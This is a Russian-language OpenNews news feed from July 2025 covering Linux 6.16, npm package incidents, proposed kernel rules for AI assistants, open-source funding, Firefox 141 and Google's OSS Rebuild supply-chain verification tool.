    • В состав принят драйвер ovpn, позволяющий существенно ускорить производительность OpenVPN за счёт выноса операций шифрования, обработки пакетов и управления каналом связи на сторону ядра Linux. Драйвер позволяет избавиться от накладных расходов, связанных с переключением контекста, даёт возможность оптимизировать работу за счёт прямого обращения к внутренним API ядра и исключает медленную передачу данных между ядром и пространством пользователя (шифрование, расшифровка и маршрутизация выполняется модулем без отправки трафика в обработчик в пространстве пользователя). на сторону ядра для избавления от лишних переключений контекста.
    • В механизм Device Memory TCP добавлена поддержка отправки данных из памяти устройства (TX path). Ранее для упрощения интеграции Device Memory TCP в ядро функциональность была ограничена только принятием данных (RX path). Device Memory TCP позволяет использовать сетевые сокеты для прямой отправки содержимого памяти периферийного устройства по сети (режим zero-copy), а также прямого размещения содержимого сетевых пакетов в области памяти устройства на стороне получателя. Передаваемые в пакетах данные передаются от сетевой карты в память периферийного устройства (DMABUF), например, в видеопамять GPU, или из памяти устройства в сетевую карту напрямую, минуя CPU, а заголовки пакетов попадают в обычные буферы ядра.
    • Предоставлена возможность отправки содержимого core-дампов через сокет AF_UNIX, что позволяет создавать в пространстве пользователя более безопасные обработчики core-дампов, не завязанные на вызов ядром привилегированных процессов.
    • Удалена поддержка сетевого протокола DCCP (Datagram Congestion Control Protocol), который не получил распространения и пять лет остаётся в ядре без сопровождения. Удаление DCCP из ядра устранит преграды, мешающие переработать структуру данных inet_connection_sock для повышения эффективности работы стека TCP. Поддержка netfilter-модулей для фильтрации пакетов DCCP сохранена.
    • Для упрощения обработки ошибок при использовании сокетов SO_PEERPIDFD ядро теперь может передавать pidfd для уже завершённых процессов (pidfd связывается с конкретными процессами и в отличие от pid повторно не назначается).
    • При помощи BPF теперь можно создавать обработчики управления очередями пакетов в сетевом стеке (qdiscs) для влияния на порядок обработки сетевых пакетов.
    • В сетевой файловой системе AFS задействован GSSAPI (Generic Security Services API) для управления шифрованием соединений с серверами YFS и OpenAFS.
    • Внесена большая порция оптимизаций. Переработана организация блокировок для таблиц маршрутизации IPv6 (некоторые операции с маршрутами теперь выполняются до 3 раз быстрее). Ускорено программное вычисление контрольных сумм crc32c. На 10% ускорен движок GRO для туннелированного UDP трафика. Улучшена автонастройка принимающего буфера для TCP и повышены применяемые по умолчанию лимиты (в проведённых тестах пропускная способность для единичных потоков через 200Gbs канал возросла на 60%).
    • В Netfilter добавлена возможность использования масок в именах сетевых устройств, используемых в netdev и flowtable. В инфраструктуру nft trace интегрирована информация об отслеживании соединений (conntrack). Ускорено извлечение таблиц отслеживания соединений (conntrack) через procfs.
  • Оборудование
    • Добавлена поддержка выноса обработки звуковых потоков на сторону звуковых устройств с интерфейсом USB (USB audio offload). Изменение позволяет значительно снизить энергопотребление портативных устройств за счёт продолжения обработки звукового потока во время нахождения остальной системы в спящем режиме. Ранее в ядрах для платформы Android предоставлялась специфичная реализация offload-обработки звука для USB-устройств, а теперь в основном ядре появилась универсальная реализация, которую могут использовать любые проекты.
    • Продолжена интеграция компонентов драйвера Nova для GPU NVIDIA, оснащённых GSP-прошивками, используемыми начиная с серии NVIDIA GeForce RTX 2000 на базе микроархитектуры Turing. Драйвер написан на языке Rust. В дополнение к добавленному в прошлом выпуске компоненту nova-core, реализующему базовый уровень абстракций над программными интерфейсами прошивок GSP, в версии 6.16 в состав включена начальная реализация DRM-драйвера nova-drm (Direct Rendering Manager) для взаимодействия с GPU из пространства пользователя.
    • Начался процесс продвижения в ядро DRM-драйвера Asahi для GPU Apple AGX, применяемых в чипах Apple Silicon. Драйвер написан на Rust. На данном этапе в ядро включены только заголовочные файлы с UAPI от драйвера Asahi, необходимые для Mesa, а основной код драйвера Asahi будет интегрирован позднее.
    • В драйвер Nouveau добавлена поддержка GPU NVIDIA семейства Hopper и Blackwell.
    • Продолжена работа над drm-драйвером (Direct Rendering Manager) Xe для GPU на базе архитектуры Intel Xe, которая используется в видеокартах Intel семейства Arc и интегрированной графике, начиная с процессоров Tiger Lake. Добавлена возможность использования разных файлов прошивок для разных семейств GPU Intel.
    • В драйвере AMDGPU реализована поддержка механизма "usermode queue", позволяющего создавать собственные очереди работ в пространстве пользователя и отправлять их напрямую в GPU без обращения к планировщику в ядре. Поддержка "usermode queue" включена для GPU Navi 4X и GFX 12.
    • Добавлена поддержка звуковых систем Intel WCL (Whiskey Lake), AMD ACP 7.x (Audio Co-Processor), Cirrus Logic CS35L63 и CS48L32, Everest Semiconductor ES8375 и ES8389, Pioneer DJM-V10, Longsoon-1 AC'97, NVIDIA Tegra264, Richtek ALC203, RT9123 и Rockchip SAI, а также новых платформ Intel AVS.
    • Добавлена поддержка ARM-плат, SoC и устройств: Samsung Exynos7870, Qualcomm Snapdragon X1P42100, Qualcomm MSM8926, RK3562, NXP i.MX94, Renesas RZ/V2N, Amlogic S6/S7/S7D, WonderMedia wm8950, Amlogic s805y, Allwinner A523, Toradex Verdin AM62P, ROCK 5B+, Nitrogen8M Plus, Retronix R-Car V4H Sparrow Hawk, MT8186 Ponyta Chromebook, VIA APC Rock/Paper, Renesas rz/t2h, ASUS Transformer Pad LTE TF300TL, LG Nexus 4, Google Pixel 4a, Raspberry Pi 2.
    • Удалён драйвер для плат захвата видео на чипах STA2X11.

Одновременно латиноамериканский Фонд свободного ПО сформировал вариант полностью свободного ядра 6.16 - Linux-libre 6.16-gnu, очищенного от элементов прошивок и драйверов, содержащих несвободные компоненты или участки кода, область применения которых ограничена производителем. В выпуске 6.16 нейтрализована загрузка blob-ов в новых драйверах Intel qat 6xxx crypto, ST vd55g1 sensor, ath12k AHB wifi, Aeonsemi AS21xxx и MediaTek 25Gb Ethernet. Выполнена чистка имён blob-ов в dts-файлах (devicetree) для ARM-чипов Qualcomm и MediaTek. Обновлён код чистки blob-ов в драйверах Nova Core, Nouveau, Realtek r8169 Ethernet, Qualcomm Iris, Venus, Mediatek mt7996 wifi, Qualcomm ath11k и ath12k wifi, Texas Instruments tas2781 и Renesas R-Car gen4 PCIe.

  1. OpenNews: Релиз ядра Linux 6.15
  2. OpenNews: Релиз ядра Linux 6.14
  3. OpenNews: Релиз ядра Linux 6.13
  4. OpenNews: Релиз ядра Linux 6.12 с поддержкой Realtime-режима
  5. OpenNews: Релиз ядра Linux 6.11
Обсуждение (161 +41) | Тип: Программы | Интересно
·27.07.2025 NPM-пакет Stylus был по ошибке заблокирован из-за подозрений в наличии вредоносного кода (34 +7)
  Администраторы репозитория NPM по ошибке заблокировали пакет Stylus, распознав в нём несуществующее вредоносное ПО. Через 12 часов после отправки жалобы в NPM проблема была отмечена как не соответствующая действительности, объявление о наличии вредоносного ПО было отозвано, а пакет восстановлен в репозитории.

Пакет Stylus в прошлом месяце насчитывал 4.2 млн загрузок в неделю и использовался в качестве зависимости у более двух тысяч проектов. Удаление пакета из репозитория привело к массовыми сбоям в сборочных системах проектов, использующих Stylus или зависимые от него пакеты. Среди прочего, возникли проблемы при сборке CLI-инструментария платформы Angular. Сложилась ситуация, напоминающая произошедший в 2016 году инцидент с удалением модуля left-pad.

Причиной ложной тревоги стало присутствие в числе разработчиков Stylus участника panya (бывший сопровождающий), который до этого был уличён в публикации нескольких вредоносных пакетов (svelte-intl, ufo-rocks2, durilka, eslint-plugin-compat, desktop-title, select-account-icon и т.д.). Мотивы действий разработчика "panya" не ясны, предполагается, что он мог проводить исследования, связанные с безопасностью. При этом имея доступ к формированию релизов Stylus, данный разработчик не использовал имеющуюся возможность для внедрения вредоносного ПО в Stylus.


Дополнительно можно отметить появление новых жертв фишинг-атаки через домен npnjs.com. Помимо ранее отмеченных 5 пакетов, атакующим удалось обмануть сопровождающих пакеты is и got-fetch. Пакет is насчитывает 2.8 млн загрузок в неделю и используется в качестве зависимости у 636 других пакетов. Пакет got-fetch насчитывает 53 тысячи загрузок в неделю.

После получения контроля над пакетами злоумышленники сформировали вредоносные выпуски is 3.3.1 и 5.0.0, got-fetch 5.1.11 и 5.1.12. В пакет is был встроен кросс-платформенный загрузчик вредоносного ПО, реализованный на JavaScript и открывающий WebSocket-соединение для удалённого выполнения кода в системе. Вредоносный код также передавал данные о системе и содержимом переменных окружения.

  1. OpenNews: Нарушение обратной совместимости в популярном NPM-пакете привело к сбоям в различных проектах
  2. OpenNews: Сбой антиспам-системы привёл к коллапсу в репозитории NPM
  3. OpenNews: Инцидент с захватом прав на NPM-модуль привёл к сбою в работе проектов, использующих NPM
  4. OpenNews: Фишинг позволил получить контроль над несколькими популярными NPM-пакетами
  5. OpenNews: Атака на зависимости позволила выполнить код на серверах PayPal, Micrоsoft, Apple, Netflix, Uber и ещё 30 компаний
Обсуждение (34 +7) | Тип: Проблемы безопасности |
·26.07.2025 Представлены правила для AI-ассистентов, применяемых при разработке ядра Linux (159 +7)
  Саша Левин (Sasha Levin) из компании NVIDIA, занимающийся сопровождением LTS-веток ядра Linux и входящий в консультативный совет организации Linux Foundation, выставил на обсуждение разработчиков набор правил и документацию, которые должны учитываться AI-ассистентами при генерации изменений для ядра Linux. Ссылки на инструкции отмечены в файлах конфигурации, подготовленных для AI-платформ Claude, GitHub Copilot, Cursor, Codeium, Continue, Windsurf и Aider.

Определены следующие ключевые принципы для AI:

  • Перед созданием изменений необходимо прочитать документацию и следовать изложенным в ней требованиям.
  • Следует выполнять требования по стилю и оформлению кода для ядра.
  • Перед отправкой изменения его нужно тщательно протестировать.
  • К коду нужно приложить понятное и исчерпывающее сообщение с описанием изменения.
  • Изменения не должны нарушать работу компонентов в пространстве пользователя.
  • В качестве соавтора изменения должен быть отмечен AI, не ограничиваясь только упоминанием разработчика, использовавшего AI-ассистент.

Для выделения изменений, подготовленных с использованием AI, к коммиту предписывается прикреплять тег "Co-developed-by: $AI_NAME $AI_MODEL $AI_VERSION". Например: "Co-developed-by: Claude claude-3-opus-20240229", "Co-developed-by: GitHub-Copilot GPT-4 v1.0.0" и "Co-developed-by: Cursor gpt-4-turbo-2024-04-09". При этом AI-ассистент не должен добавлять себя в тег "Signed-off-by". Данный тег должен добавляться только человеком для юридически значимого подтверждения права на передачу кода под открытой лицензией.

Документация, которую должен учитывать AI-ассистент:

  1. OpenNews: Удалённая уязвимость в модуле ksmbd ядра Linux, выявленная при помощи AI
  2. OpenNews: Компания SUSE открыла AI-модель для анализа лицензионной чистоты кода
  3. OpenNews: Оценка эффективности применения AI-инструментов выявила замедление, а не ускорение разработки
  4. OpenNews: Проект Gentoo запретил принятие изменений, подготовленных при помощи AI-инструментов
  5. OpenNews: В NetBSD введён запрет на использование кода, сгенерированного AI-системами
Обсуждение (159 +7) | Тип: К сведению |
·25.07.2025 Инициатива Maintenance Fee, предлагающая взимать плату за доступ к сборкам релизов открытых проектов (258 –10)
  Автор WiX, открытого инструментария для создания установочных пакетов для Windows, развивает инициативу Maintenance Fee для решения проблемы с финансированием сопровождающих открытые проекты. Инициатива Maintenance Fee позволяет через взимание небольшой ежемесячной платы (как вариант, предлагается $10) обеспечить финансовую устойчивость проектов, не ограничивая при этом их открытость и не прибегая к моделям финансирования, подобным Open Core, подразумевающим поставку расширенной платной версии.

Суть Maintenance Fee в ведении ежемесячного платежа для пользователей и компаний, которые получают коммерческую выгоду и прямо или косвенно зарабатывают на использовании открытого проекта. Стимулирование оплаты производится через добавление сопровождающим пользовательского соглашения (EULA), регламентирующего доступ к инфраструктуре, бинарным сборкам и готовым пакетам. Для перечисления платы предлагается использовать систему GitHub Sponsorship.

В соответствии с EULA, загружать бинарные сборки релизов, участвовать в обсуждениях и отправлять заявки по решению проблем могут лишь платные подписчики, а также пользователи, не получающие коммерческую выгоду от применения проекта. Доступ к исходным текстам остаётся без изменений и производится в соответствии с применяемыми проектами открытыми лицензиями. Если компания, получающая выгоду от проекта, не желает перечислять ежемесячную плату, то она может использовать код из репозитория и самостоятельно формировать для себя сборки, но не имеет права пользоваться готовыми сборками релизов, предоставляемыми основным проектом (среди прочего запрещается использовать официальные сборки пакетов в числе зависимостей, подключаемых через пакетные менеджеры, такие как NPM и NuGet).

Отмечается, что сопровождающие выполняют большую работу, но часто ничего не получают взамен и рассматриваются многими компаниями как бесплатная рабочая сила. Подобное отношение приводит к выгоранию и потере интереса к развиваемым проектам. Зарабатывание денег на поддерживаемом другими людьми открытом коде, ничего не возвращая взамен, воспринимается как паразитирование. Перечисление сопровождающим небольшой доли от получаемого дохода рассматривается как справедливое и взаимовыгодное решение, при котором компании напрямую финансируют сопровождающих проектов, от которых зависят их продукты.

Предполагается, что плата за сопровождение повысит устойчивость открытых проектов и даст возможность уделять больше внимание разбору сообщений об ошибках, ответам на вопросы пользователей, поддержанию сборочной инфраструктуры, обновлению зависимостей, отслеживанию уязвимостей и выполнению рутинных действий, таких как модерирование дискуссий и обновление сертификатов для цифровых подписей.

  1. OpenNews: Мэйнтейнер Dash to Panel сложил полномочия после критики манеры сбора пожертвований
  2. OpenNews: В NPM добавлены инструменты для финансирования разработчиков
  3. OpenNews: Open WebUI перешёл на ограничивающую лицензию, запрещающую удаление бренда
  4. OpenNews: Проект Linux Foundation по финансированию разработки СПО
  5. OpenNews: Сокращение срока поддержки LTS-ядер Linux и проблема с выгоранием сопровождающих
Обсуждение (258 –10) | Тип: К сведению |
·25.07.2025 В Android встроена возможность запуска графических Linux-приложений (152 +43)
  В ветку Android Canary, пришедшую на смену Android Developer Preview и применяемую для тестирования функциональности для будущих выпусков Android, добавлена возможность запуска графических приложений, собранных для Linux. Запуск осуществляется через приложение Linux Terminal, позволяющее запустить в окружении Android виртуальную машину с Debian GNU/Linux, в которой можно выполнять обычные Linux-приложения.

Для запуска графического окружения в приложение Linux Terminal добавлена кнопка "Display", включающая перенаправление графики через компоненты в основном окружении Android. После активации кнопки "Display" в терминале можно запустить композитный сервер Weston, предоставляющий минималистичный оконный сеанс, а затем использовать его для запуска любых графических приложений, например, продемонстрирован запуск текстового редактора Gedit.

Разработка приложения Linux Terminal ведётся в репозитории AOSP (Android Open Source Project) в основном составе платформы Android. Функциональность виртуальной машины c Linux развивается в рамках проекта Ferrochrome. В гостевом окружении запускается Debian GNU/Linux 12. Для виртуализации используется фреймворк AVF (Android Virtualization Framework), реализованный на базе гипервизора KVM и инструментария crosvm. Графическое окружение использует протокол Wayland и основано на композитном сервере Weston. Запуск приложений, собранных для X11, производится при помощи DDX-компонента XWayland.

В создаваемом окружении реализована возможность задействования аппаратного ускорения графики, что позволяет запускать ресурсоёмкие графические приложения, такие как игры. Для ускорения графики задействован VirGL - виртуальный GPU Virgil3D для QEMU/KVM. По умолчанию аппаратное ускорение отключено и для его активации необходимо в каталоге /sdcard/linux создать пустой файл с именем "virglrenderer", после чего проследить за появлением сообщения "VirGL enabled" при открытии терминала.

  1. OpenNews: В обновлении Android 15 для устройств Google Pixel добавлен Linux-терминал
  2. OpenNews: Google развивает в Android 16 возможность запуска графических Linux-приложений
  3. OpenNews: Google экспериментирует с возможностью запуска Linux-приложений в Android
  4. OpenNews: Google прекратил публикацию кода для поддержки устройств Pixel в репозитории с кодом Android
  5. OpenNews: Подтверждены планы по слиянию Chrome OS и Android в одну платформу
Обсуждение (152 +43) | Тип: К сведению |
·24.07.2025 Первый выпуск Wayback, прослойки для запуска рабочих столов X11, используя компоненты Wayland (156 +17)
  Представлен первый экспериментальный выпуск проекта Wayback 0.1, позволяющего запускать десктоп-окружения, завязанные на протокол X11, используя компоненты на базе Wayland. Wayback представляет собой урезанный композитный сервер Wayland, поддерживающий только возможности, необходимые для запуска полноэкранного сеанса X11 при помощи Xwayland (DDX-компонент (Device-Dependent X) для организации выполнения X11-приложений в окружениях на базе Wayland). Код проекта написан на языке Си и распространяется под лицензией MIT.

Проект создан разработчиками дистрибутива Alpine для упрощения ухода от поставки классического X.org Server и развивается в инфраструктуре freedesktop.org. В дистрибутиве Alpine намерены оставить только компоненты, необходимые для Wayland и Xwayland, и реализовать запуск сред рабочего стола X11 поверх них, что позволит исключить из репозиториев обособленный X-сервер и снизить затраты на сопровождение X11-приложений.

Код Wayback основан на tinywl, эталонном композитном сервере от разработчиков библиотеки wlroots, функциональность которого урезана до минимума, достаточного для обособленного запуска Xwayland. Предполагается, что в будущем Wayback сможет использоваться в качестве полной замены исполняемого файла Xorg (/usr/bin/X).

Первый выпуск Wayback преподносится как альфа-версия, позволяющая ознакомиться с реализуемой проектом концепцией. На данном этапе пока отсутствует поддержка таких возможностей, как многомониторные конфигурации, гашение экрана через DPMS, захват указателя мыши (запрет перемещения за определённую область на экране), многие опции Xorg. Пакеты для тестирования Wayback собраны для Alpine Linux, Nix, T2, Arch Linux, ALT Linux и Fedora.

Из изменений по сравнению с первым анонсом отмечается разделение Wayback на отдельные компоненты: композитный сервер wayback-compositor; интерфейс командной строки Xwayback, совместимый с Xorg и предназначенный для запуска Xwayland и wayback-compositor; менеджер сеансов wayback-session, предоставляющий интерфейс запуска сеанса в стиле startx. Кроме того, в Wayback реализован более централизованный механизм ведения логов и новый парсер опций, напоминающий getopt.

  1. OpenNews: Опубликован Wayback, композитный сервер Wayland для запуска рабочих столов на базе X11
  2. OpenNews: Выпуск miracle-wm 0.6, композитного менеджера на базе Wayland и Mir
  3. OpenNews: Сравнение производительности сеансов KDE Plasma на базе X11 и Wayland
  4. OpenNews: Доступен Wayland 1.24
  5. OpenNews: Выпуск композитного сервера Hyprland 0.50
Обсуждение (156 +17) | Тип: Программы |
·23.07.2025 В Fedora предложено задействовать FlatHub в атомарных редакциях дистрибутива (73 +7)
  Майкл Катандзаро (Michael Catanzaro), один из разработчиков web-браузера Epiphany (GNOME Web), принимающий участие в проектах GNOME и Fedora, предложил пересмотреть использование каталога FlatHub в Fedora Linux. В атомарно обновляемой редакции Fedora Workstation предложено задействовать по умолчанию каталог FlatHub для flatpak-пакетов, устанавливаемых пользователями, а собственный репозиторий flatpak-пакетов ограничить только применением для предустанавливаемых пакетов.

В настоящее время по умолчанию в Fedora предлагается собственный flatpak-репозиторий, содержимое которого формируется на основе пересборки rpm-пакетов. По умолчанию загрузку пакетов из FlatHub можно включить лишь после установки, активировав в менеджере приложений GNOME опцию "Enable Third-Party Repositories", но даже в этом случае пакеты из репозитория Fedora являются более приоритетными.

По мнению Майкла большинство пользователей предпочло бы установку пакетов из каталога FlatHub, собираемых основными разработчиками приложений, а не сопровождающими Fedora (80% участников дискуссии высказались за использование FlatHub). Предполагается, что разработчики приложений лучше знают нюансы своих проектов и собирают более качественно работающие flatpak-пакеты, тщательнее протестированные сообществом. При этом сопровождающие rpm-пакеты в Fedora не проявляют ожидаемого интереса к поддержанию вариантов пакетов в формате flatpak и не уделяют должного внимания сообщениям об ошибках в таких пакетах, что приводит к тому, что качество flatpak-пакетов от Fedora ниже, чем размещённых во FlatHub пакетах от основных проектов.

Многие пользователи не в курсе, что, устанавливая flatpak-пакет через менеджер приложений Fedora, он устанавливается не из FlatHub, как в других дистрибутивах, а из репозитория Fedora, пакеты в котором отличаются от вариантов с FlatHub. Из-за этого проблемы, специфичные для пакетов из репозитория Fedora, воспринимаются как проблемы в официальных пакетах с FlatHub и претензии направляются основным разработчикам, а не сопровождающим Fedora. Например, поставка проблемного flatpak-пакета OBS Studio в Fedora, который являлся более приоритетным, чем пакет из FlatHub, в феврале привела к конфликту с проектом OBS Studio.

Применение собственного Flatpak-репозитория обусловлено необходимостью сборки в заслуживающем доверия окружении. Для пакетов во FlatHub, даже если рассматривать только верифицированные пакеты, за публикацию которых отвечают основные проекты, сборка производится во внешних инфраструктурах, безопасность которых может вызывать сомнение. Из достоинств поддержания собственного репозитория в Fedora упоминаются гарантии, что пакет собран из заявленного исходного кода и содержит только компоненты под открытыми лицензиями, одобренными к использованию Fedora. Пакеты в Fedora-репозитории также могут включать патчи, доступные только для RPM-пакетов в Fedora и пока не принятые в основную кодовую базу проектов.

Предложение Майкла сводится к включению по умолчанию в атомарной редакции Fedora Workstation поддержки установки пакетов из FlatHub, находящихся в категории "свободное ПО". Возможность установки из FlatHub коснётся только пакетов, устанавливаемых пользователями через менеджер приложений GNOME Software. Все предустанавливаемые по умолчанию flatpak-пакеты продолжат загружаться из собственного репозитория Fedora, но для не применяемых по умолчанию пакетов в качестве источника для загрузки предлагается задействовать FlatHub.

Перед переходом на FlatHub предлагается совместно внедрить во FlatHub возможности для сборки пакетов в заслуживающей доверие инфраструктуре и задействовать проверки на базе воспроизводимых сборок. Кроме того, следует решить вопрос с применением в пакетах устаревших версий Flatpak Runtime, в которые уже прекращён перенос исправлений уязвимостей. В настоящее время 994 из 3438 (почти треть) проверенных пакетов из FlatHub используют Runtime, время поддержки которых истекло. Проблемы с безопасностью также возникают из-за устаревших внутренних зависимостей, включаемых в состав пакетов, и применения недостаточных мер sandbox-изоляции (разработчики некоторых пакетов отключают режимы защиты). Проблемы предлагается решить через реализацию автоматизированных проверок устаревших runtime и зависимостей, и форсирование применения полноценной sandbox-изоляции.

Кроме Майкла, с похожим предложением также выступил Тимоти Равье (Timothée Ravier): в Fedora 43 предлагается продолжить поставку предустановленных flatpak-пакетов из репозитория Fedora, но добавить фильтр, допускающий установку из FlatHub избранных проверенных приложений. В качестве достоинств предложенного решения называется снижение путаницы у пользователей и разработчиков основных проектов (разработчикам приходится разбирать сообщения об ошибках, специфичных для Flatpak-пакетов Fedora, отправленных под видом, что они присутствуют в официальном flatpak-пакете). Изменение также снизит нагрузку на сопровождающих и позволит им сфокусироваться на передаче исправлений в основные проекты и тестировании предустанавливаемых по умолчанию Flatpak-пакетов.

  1. OpenNews: Проекту Fedora пригрозили иском из-за поставки сбойного flatpak-пакета с OBS Studio
  2. OpenNews: Релиз системы самодостаточных пакетов Flatpak 1.16.0
  3. OpenNews: Каталог приложений Flathub достиг отметки в 2 миллиарда загрузок
  4. OpenNews: Уязвимость во flatpak, позволяющая обойти sandbox-изоляцию
  5. OpenNews: Fedora 38 предложит неограниченную поддержку Flathub
Обсуждение (73 +7) | Тип: К сведению |
·22.07.2025 Релиз Firefox 141 (279 +30)
  Состоялся релиз web-браузера Firefox 141 и сформированы обновления прошлых веток с длительным сроком поддержки - 140.1.0, 115.26.0 и 128.13.0. На стадию бета-тестирования переведена ветка Firefox 142, релиз которой намечен на 19 августа.

Основные новшества в Firefox 141:

  • Добавлена экспериментальная поддержка автоматической группировки вкладок, основанная на использовании локально выполняемой AI-модели, определяющей вкладки, сходные по тематике. После перетаскивания мышью одной вкладки на другую или открытии контекстного меню с параметрами группы, браузер теперь показывает кнопку "Suggest more of my tabs", после нажатия на которую выводится список похожих вкладок для их быстрого включения в группу. AI также предлагает релевантное имя группы. Функция пока по умолчанию включена не для всех и постепенно будет активироваться для всё большего процента пользователей. Для принудительного включения можно активировать параметр "browser.tabs.groups.smart.enabled" на странице about:config.
  • Предоставлена возможность изменения размера области инструментов в нижней части боковой панели вертикальных вкладок. Для разделения места под вкладки и инструменты достаточно переместить мышью горизонтальный разделитель секций. Если все инструменты не вмещаются в выбранную область, то часть из них будет вынесена в дополнительно раскрываемое меню.
  • В адресную строку встроен конвертер единиц измерения, поддерживающий преобразование часовых поясов и величин углов, расстояния, температуры, массы и силы. При клике на результат он будет сохранён в буфер обмена.
  • В сборках для платформы Linux снижено потребление памяти и убрано требование перезапуска после обновления при помощи пакетного менеджера.
  • Для пользователей из Бразилии, Испании и Японии включена функция автозаполнения адресов в web-формах, которая ранее была доступна только для США, Великобритании, Канады, Германии, Франции, Польши, Италии и Австрии.
  • По умолчанию в сборках для платформы Windows активирован API WebGPU и язык шейдеров WGSL (WebGPU Shading Language). Для Linux и macOS поддержка WebGPU будет включена в одном из следующих выпусков, до этого WebGPU можно активировать через параметры "dom.webgpu.enabled" и "gfx.webrender.all" на странице about:config. WebGPU предоставляет схожий с Vulkan, Metal и Direct3D 12 программный интерфейс для выполнения операций на стороне GPU. WebGPU даёт возможность приложениям на языке JavaScript контролировать организацию, обработку и передачу команд к GPU, управлять связанными ресурсами, памятью, буферами, объектами текстур и скомпилированными графическими шейдерами.
  • При возвращении сервером значения "cache" в HTTP-заголовке "Clear-Site-Data" дополнительно реализована очистка кэша перехода (BFCache - Back-forward cache), обеспечивающего мгновенный переход при использовании кнопок "Назад" и "Вперёд" или при навигации по ранее просмотренным страницам текущего сайта.
  • В HTML-элемент <dialog> добавлен атрибут "closedby", позволяющий определить поведение при закрытии диалога. Значение "none" подразумевает, что пользователь не может закрыть диалог; "closerequest" - допускает закрытие нажатием клавиши ESC; "any" приводит к закрытию при клике мышью в области за пределами диалога или при нажатии ESC.
  • Возвращена поддержка технологии CHIPS (Cookies Having Independent Partitioned State), позволяющей изолировать Cookie в привязке к домену первого уровня, используя атрибут "Partitioned". Если в обычных условиях сторонний код с сайта "C", встроенный на сайты "A" и "В", может обрабатывать общие для данных сайтов Cookie, то при указании атрибута "Partitioned", выставленные сайтом "C" Cookie, при загрузке кода с сайтов "A" и "В", будут полностью разделены.
  • В JavaScript-методы HTMLElement.showPopover() и HTMLElement.togglePopover() добавлен аргумент "options.source", ссылающийся на обработчик открытия всплывающего окна (popover). В метод togglePopover() добавлен аргумент "options.force" для принудительного открытия или закрытия всплывающего окна.
  • В интерфейс PointerEvent добавлено свойство persistentDeviceId, а в интерфейс IntersectionObserver свойство scrollMargin.
  • Добавлено CSS-свойство "font-variant-emoji" для настройки стиля отображения Emoji. Например, можно выбрать текстовое или графическое представление.

  • В версии для платформы Android переделано меню; реализована автоматическая блокировка приватных вкладок после переключения на другое приложение; обеспечена подсветка домена в адресной строке; добавлена функция для отправки PDF-файлов в другие приложения.

Кроме новшеств и исправления ошибок в Firefox 141 устранено 27 уязвимостей. 13 уязвимостей вызваны проблемами работы с памятью, такими как переполнения буферов и обращение к уже освобождённым областям памяти. Потенциально данные проблемы способны привести к выполнению кода злоумышленника при открытии специально оформленных страниц.

  1. OpenNews: В Firefox и Safari будет включена поддержка WebGPU
  2. OpenNews: Релиз Firefox 140
  3. OpenNews: Mozilla переходит к поставке Firefox с условиями использования
  4. OpenNews: Разработка Firefox перенесена с Mercurial на Git и GitHub
  5. OpenNews: Изменение правил в каталоге дополнений к Firefox
Обсуждение (279 +30) | Тип: Программы |
·22.07.2025 Google представил проект OSS Rebuild для выявления скрытых изменений в пакетах (47 +17)
  Компания Google представила проект OSS Rebuild, предназначенный для выявления скрытых изменений в готовых пакетах, публикуемых в репозиториях. Работа OSS Rebuild основана на концепции воспроизводимых сборок и сводится к проверке соответствия размещённого в репозитории пакета с пакетом полученным на основе пересборки из эталонного исходного кода, соответствующего заявленной версии пакета. Код инструментария написан на языке Go и распространяется под лицензией Apache 2.0.

В настоящее время в OSS Rebuild реализована поддержка верификации пакетов из репозиториев NPM (JavaScript/TypeScript), PyPI (Python) и Crates.io (Rust). В будущем число поддерживаемых репозиториев планируют расширить. На практике инструментарий позволяет выявлять варианты атаки класса "supply chain", в ходе которых после компрометации учётных записей сопровождающих или диверсии внутри проекта в репозитории публикуется вредоносное обновление. При этом код в исходном репозитории основного проекта остаётся корректным, а вредоносные изменения вносятся только в готовые пакеты.

Система по возможности автоматически формирует сценарий для воспроизводимой сборки выбранного пакета, используя эвристику и подбирая параметры, позволяющие добиться идентичности артефактов, поставляемых в пакете. Если автоматически не удаётся воспроизвести размещённый в репозитории пакет, возможно ручное добавление сборочной спецификации. После того как удалось воспроизвести пакет, инструментарий OSS Rebuild сохраняет описание процесса сборки для последующей проверки новых версий пакета. Дополнительно публикуется информация для верификации с использованием фреймворка SLSA.

После проведения проверки конкретной версии пакета формируются данные аттестации, которые могут использоваться другими для оценки уже верифицированных пакетов. Проверку можно осуществить через запуск утилиты командной строк или сверку хэша, сохранённого в отдельном облачном хранилище. Инфраструктуру для проверки пакетов можно развернуть на собственном сервере. Так же можно воспользоваться информацией о проверках, выполняемых в Google для нескольких тысяч пакетов.

В качестве примеров разных методов атак, от которых мог бы защитить OSS Rebuild, приводится добавление бэкдора в XZ, внедрение вредоносного кода в официальный JavaScript-клиент для криптовалюты Solana и подстановка изменений через Actions-обработчик changed-files:

  • В случае с проектом XZ код в репозитории не содержал подозрительных изменений, а образующие бэкдор вредоносные компоненты поставлялись внутри файлов, используемых в тестовом наборе для проверки корректности работы распаковщика XZ. Бэкдор активировался на уровне системы сборки, а сам исходный код XZ совпадал с кодом из репозитория. Активирующие бэкдор m4-макросы для инструментария Automake были включены только в готовый архив с кодом и отсутствовали в репозитории. Для выявления подобных атак в OSS Rebuild применяется динамический анализ поставляемых в пакете артефактов, путей выполнения и подозрительных операций.
  • Подстановка вредоносных изменений в библиотеку @solana/web3.js произошла из-за компрометации учётной записи сопровождающего, используя методы социального инжиниринга и фишинга. В репозитории NPM был размещён новый выпуск, включающий вредоносные изменения. В Git-репозитории проекта этот выпуск создан не был и вредоносные изменения присутствовали только в результирующем пакете. Защита в этом случае сводится к выявлению в пакете кода, отсутствующего в основном репозитории.
  • Компрометация репозитория обработчика changed-files позволила провести атаку на проекты, использующие changed-files для отслеживания изменения файлов и каталогов в инфраструктуре непрерывной интеграции на базе GitHub Actions. Для защиты от подстановки изменений после компрометации сборочного окружения в OSS Rebuild применяется отслеживание изменений и подозрительной активности в стандартизированных урезанных сборочных окружениях.

  1. OpenNews: В NixOS предложен метод защиты от подстановки бэкдоров, таких как в XZ
  2. OpenNews: Google предложил SLSA для защиты от вредоносных изменений в процессе разработки
  3. OpenNews: Оценка проблем с сопровождением открытых проектов и использованием старых зависимостей
  4. OpenNews: Red Hat и Google представили Sigstore, сервис для криптографической верификации кода
  5. OpenNews: Атака на зависимости позволила выполнить код на серверах PayPal, Micrоsoft, Apple, Netflix, Uber и ещё 30 компаний
Обсуждение (47 +17) | Тип: Программы |
Следующая страница (раньше) >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру